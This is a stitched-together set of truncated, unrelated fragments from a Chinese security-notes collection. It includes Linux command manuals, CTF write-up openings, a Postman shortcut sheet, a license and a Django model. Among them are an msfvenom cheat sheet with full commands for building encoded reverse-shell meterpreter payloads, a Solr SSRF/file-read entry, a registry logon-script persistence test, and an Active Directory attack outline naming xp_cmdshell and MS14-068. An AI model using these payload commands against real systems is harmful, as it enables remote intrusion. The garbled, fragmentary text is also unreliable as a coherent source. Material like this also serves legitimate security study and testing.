# MiscSecNotes 此系列文章是本人关于学习 Web安全、渗透测试等时记录的一些笔记,部分原创,部分是对网上文章的理解整理。如果可以找到原始参考链接时则会在文末贴出(如 乌云很多链接已失效,或者记不起当时存档时的链接),或者在文章开头写上 by xx,如有侵权请联系我(zhangjinfa3 at gmail.com)删除或加上reference,感谢在网上共享知识的师傅们,觉得内容不错的朋友请不要吝啬您的 **star**。 ## 文章目录 ### Web 安全 * Web服务基础 * [HTTP协议](Web服务基础/HTTP协议.md) * [同源策略](Web服务基础/同源策略.md) *...
sec-knowleage
# Internet of fail - 400p, 10 solves > The machines are already here, lurking in your things. They've learned to fool humans > by speaking a strange language. Can you find their secret password? This is running > at http://iof.teaser.insomnihack.ch In this task we got a strange ELF file. Running `readelf -a iof.elf` o...
sec-knowleage
# 内部隔离 ## 堆块隔离 ### GFP\_KERNEL & GFP\_KERNEL\_ACCOUNT 的隔离 `GFP_KERNEL` 与 `GFP_KERNEL_ACCOUNT` 是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 `kmem_cache` ——即通用的 `kmalloc-xx`。 在 5.9 版本之前`GFP_KERNEL` 与 `GFP_KERNEL_ACCOUNT` 存在隔离机制,在 [这个 commit](https://github.com/torvalds/linux/commit/10befea91b61c4e2c2d1df06a2e978d182fcf792) 中取消了...
sec-knowleage
xz === POSIX 平台开发具有高压缩率的工具 ## 补充说明 **xz命令** XZ Utils 是为 POSIX 平台开发具有高压缩率的工具。它使用 LZMA2 压缩算法,生成的压缩文件比 POSIX 平台传统使用的 gzip、bzip2 生成的压缩文件更小,而且解压缩速度也很快。最初 XZ Utils 的是基于 LZMA-SDK 开发,但是 LZMA-SDK 包含了一些 WINDOWS 平台的特性,所以 XZ Utils 为以适应 POSIX 平台作了大幅的修改。XZ Utils 的出现也是为了取代 POSIX 系统中旧的 LZMA Utils。 ### 语法 ```shell xz(选项)(参数) xz [OPTION...
sec-knowleage
less === 分屏上下翻页浏览文件内容 ## 补充说明 **less命令** 的作用与more十分相似,都可以用来浏览文字档案的内容,不同的是less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序,应按Q键。 ### 语法 ```shell less(选项)(参数) ``` ### 选项 ```shell -e:文件内容显示完毕后,自动退出; -f:强制显示文件; -g:不加亮显示搜索到的所有关键词,仅显示当前显示的关键字,以提高显示速度; -l:搜索时忽略大小写的差异; -N:每一行行首显示行号; -s:将...
sec-knowleage
--- title: Postman date: 2022-11-23 16:23:31.703572 background: bg-[#cf5e3c] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 23 keyboard shortcuts found in Postman --- Keyboard Shortcuts ------------------ ### Navigational Shortcuts Shortcut | Action ---|--- `...
sec-knowleage
from django.db import models # Create your models here. class Collection(models.Model): name = models.CharField(max_length=128)
sec-knowleage
--- title: 查看帮助信息 --- ## 使用 help 命令查看帮助信息 在 CF 中,可以使用 help 命令查看其他命令的帮助信息。 例如查看阿里云 ECS 命令的帮助信息。 ```bash cf help alibaba ecs ``` > 使用 `cf alibaba ecs help` 也是一样的效果 查看`alibaba ecs exec` 命令的帮助信息 ```bash cf help alibaba ecs exec ``` ## 使用 `-h` 参数查看帮助信息 在 CF 的任何命令后面,使用 `-h` 或者 `--help` 也可以查看帮助信息。 例如查看阿里云 `ecs` 命令的帮助信息。 ```ba...
sec-knowleage
# Apache Solr RemoteStreaming Arbitrary File Reading and SSRF [中文版本(Chinese version)](README.zh-cn.md) Apache Solr is an open source search server. When Apache Solr does not enable authentication, an attacker can directly craft a request to enable a specific configuration, and eventually cause SSRF or arbitrary file ...
sec-knowleage
dpkg-trigger === Debian Linux下的软件包触发器 ## 补充说明 **dpkg-trigger命令** 是Debian Linux下的软件包触发器。 ### 语法 ```shell dpkg-trigger(选项)(参数) ``` ### 选项 ```shell --check-supported:检查运行的dpkg是否支持触发器,返回值为0,则支持触发器。 --help:显示帮助信息; --admindir=<目录>:设置dpkg数据库所在的目录; --no-act:仅用于测试,不执行任何操作; --by-package=<软件包>:覆盖触发器等待者。 ``` ### 参数 触发器名:指定触发器名称...
sec-knowleage
# Badchair (crypto) In this challenge we get data secured via Shamir Secret Sharing scheme: ``` {"threshold": 5, "split": ["jUEumBCZY6GRlXbB/uobM53gis/RldnMAfBAnkg=", "e3WhwYy6YUQGedMXkGnxJO6v0ov4cgteapL17wI="], "shares": 9} {"threshold": 5, "split": ["mrygQzFoasgDY23te4MGqTFXjpS/pMalQiN9Sks=", "XjpXSuBzyfRAbKj7hODzcf0...
sec-knowleage
### 程序加载概述 程序加载过程其实就是系统创建或者扩充进程镜像的过程。它只是按照一定的规则把文件的段拷贝到虚拟内存段中。进程只有在执行的过程中使用了对应的逻辑页面时,才会申请相应的物理页面。通常来说,一个进程中有很多页是没有被引用的。因此,延迟物理读写可以提高系统的性能。为了达到这样的效率,可执行文件以及共享目标文件所拥有的段的文件偏移以及虚拟地址必须是合适的,也就是说他们必须是页大小的整数倍。 在 Intel 架构中,虚拟地址以及文件偏移必须是 4KB(或者更大的数且为 2 的整数幂次)的整数倍。 在这个例子中,尽管代码段和数据段在模4KB的意义下相等,但是仍然最多有4个页面包含有不纯的代码或者数据。当然,实际中会取决于页大小...
sec-knowleage
# 认证相关 本章整理一些安全运营学习过程中,相关认证的学习笔记。 - 阿里云云安全专业认证考试(Alibaba Cloud Certified Professional,ACP) - 信息系统安全专业认证(Certification for Information System Security Professional,CISSP) - 进攻性安全认证专家考试(Offensive Security Certified Professional, OSCP)
sec-knowleage
# T1037-001-win-Boot或logon初始化脚本-登录脚本 ## 来自ATT&CK描述 攻击者可以利用在登录初始化时自动执行的Windows登录脚本来建立持久性。Windows允许在特定用户或用户组登录系统时运行登录脚本。这可以通过在HKU\*\Environment\UserInitMprLogonScript注册表键中添加脚本路径来实现。 攻击者可以使用这些脚本来维持单一系统的持久性。根据登录脚本的访问配置,可能需要本地凭证或管理员账户。 ## 测试案例 ### 测试1 Logon Scripts 添加一个注册表值来运行在%temp%目录下创建的批处理脚本。执行后,在HKCU\Environment键中会有一个新的...
sec-knowleage
from library import * import sys n = int(sys.argv[2]) inputs = np.zeros((n, 16), dtype=np.uint8) for i in range(n): while True: inp = np.array([random.randint(0, 255) for _ in range(16)]) if ord("\n") not in inp: break inputs[i] = inp collect(sys.argv[1], inputs)
sec-knowleage
MIT License Copyright (c) 2017 trimstray Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribut...
sec-knowleage
# JavaScript 跨域方法 # ------------------------------------------------------------------------------------------------------------- 跨域并非浏览器限制了发起跨站请求,而是跨站请求可以正常发起,但是返回结果被浏览器拦截了。注意:有些浏览器不允许从HTTPS的域跨域访问HTTP,比如Chrome和Firefox,这些浏览器在请求还未发出的时候就会拦截请求,这是一个特例。 ## 一、 JSONP ### JSONP(JSON with Padding)技术实际和Ajax没有关系。我们知道&lt;script&...
sec-knowleage
# ummmfpu > Reverse Engineering, 400 > > Difficulty: medium (9 solvers) > > So I found this Micromega FPU in my drawer, connected it to an Arduino Uno and programmed it to validate the flag. In this task we are given an Arduino code. It is connected to a Micromega FPU and sends firmware to it; then it sends flag and ma...
sec-knowleage
# Dinary Misc., 15 points ## Description > My kipod is gone :( An image file was provided. ## Solution We receive an image file composed of black and white pixels. Running `zsteg` on the file, we get: ```console root@kali:/media/sf_CTFs/kaf/Dinary# zsteg dinary.png b1,r,lsb,xy .. text: "Hello World!, Yesterday ...
sec-knowleage
# msfvenom 常用生成 Payload 命令 ### windows: ```bash msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe ``` ### mac: ```bash msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f mac...
sec-knowleage
--- title: Amap categories: Information Gathering tags: [kali linux,amap,information gathering,amapcrap] date: 2016-10-18 16:52:00 --- 0x00 Amap介绍 =========== Amap是第首款针对渗透测试人员的下一代扫描工具, 它尝试识别即使在不同于正常端口的端口上运行应用程序。 Amap还可以通过发送触发数据包并在响应字符串列表中查找响应来识别基于非ascii编码的应用程序。 工具来源:https://www.thc.org/thc-amap/ [Amap主页][1] | [Kali Ama...
sec-knowleage
# Shopwn (Pwn, 375p, 76 solved) A task very similar to Shopping, but this time we can pass only positive numbers as quantity. The interface is exactly the same so again: ``` Welcome to Ekoparty shopping Center Feel free to buy up to 5 items that you may like Use wisely your coins, have fun! You have 50 coins What do yo...
sec-knowleage
unprotoize === 删除C语言源代码文件中的函数原型 ## 补充说明 **unprotoize命令** 属于gcc套件,用于删除C语言源代码文件中的函数原型。 ### 语法 ```shell unprotoize(选项)(参数) ``` ### 选项 ```shell -d:设置需要转换代码的目录; -x:转换代码时排除的文件。 ``` ### 参数 文件:需要转换代码的C语言源文件。
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- # Hacking Windows Active Directory ## Contents ``` 1. Description 2. Workthrough 2.1 10.1.222.203 2.1.1 Wordpress - Code Injection 2.2 10.1.222.200 2.2.1 Port Scanning 2.2.2 XP_CMDSHELL 2.3 10.1.222.201 2.3.1 MS14-068 2.4 10.1.222.202 ``` ---- ## Description...
sec-knowleage